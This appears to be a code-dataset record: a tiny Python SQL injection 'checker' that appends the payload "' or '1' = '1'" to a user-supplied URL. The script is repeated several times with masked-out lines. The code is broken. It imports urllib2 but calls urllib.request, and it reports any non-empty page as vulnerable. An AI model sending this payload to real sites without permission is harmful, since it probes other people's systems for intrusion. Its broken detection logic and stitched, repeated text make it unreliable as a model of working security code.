import sys
import urllib2
from urllib2 import urlopen

url = input("Please Enter Url: ")

response = urllib.request.urlopen(url + "=1\' or \'1\' = \'1\'")
print(response)
body = response.read()
fullbody = body.decode('utf-8')

if fullbody:
	print("sql Injection vulnerability")
else:
	print("no sql Injection vulnerability")



 # references : https://www.hacking-tutorial.com/hacking-tutorial/code-your-first-simple-sql-injection-checking-vulnerability-with-python/#sthash.F9gn2PUe.dpbs

a873dea35c02fd6bf5088360d8b3cf9ad2e4aeb3
<mask token>

<mask token>
print(response)
<mask token>
if fullbody:
    print('sql Injection vulnerability')
else:
    print('no sql Injection vulnerability')

<mask token>
url = input('Please Enter Url: ')
response = urllib.request.urlopen(url + "=1' or '1' = '1'")
print(response)
body = response.read()
fullbody = body.decode('utf-8')
if fullbody:
    print('sql Injection vulnerability')
else:
    print('no sql Injection vulnerability')

import sys
import urllib2
from urllib2 import urlopen
url = input('Please Enter Url: ')
response = urllib.request.urlopen(url + "=1' or '1' = '1'")
print(response)
body = response.read()
fullbody = body.decode('utf-8')
if fullbody:
    print('sql Injection vulnerability')
else:
    print('no sql Injection vulnerability')

import sys
import urllib2
from urllib2 import urlopen

url = input("Please Enter Url: ")

response = urllib.request.urlopen(url + "=1\' or \'1\' = \'1\'")
print(response)
body = response.read()
fullbody = body.decode('utf-8')

if fullbody:
	print("sql Injection vulnerability")
else:
	print("no sql Injection vulnerability")



 # references : https://www.hacking-tutorial.com/hacking-tutorial/code-your-first-simple-sql-injection-checking-vulnerability-with-python/#sthash.F9gn2PUe.dpbs
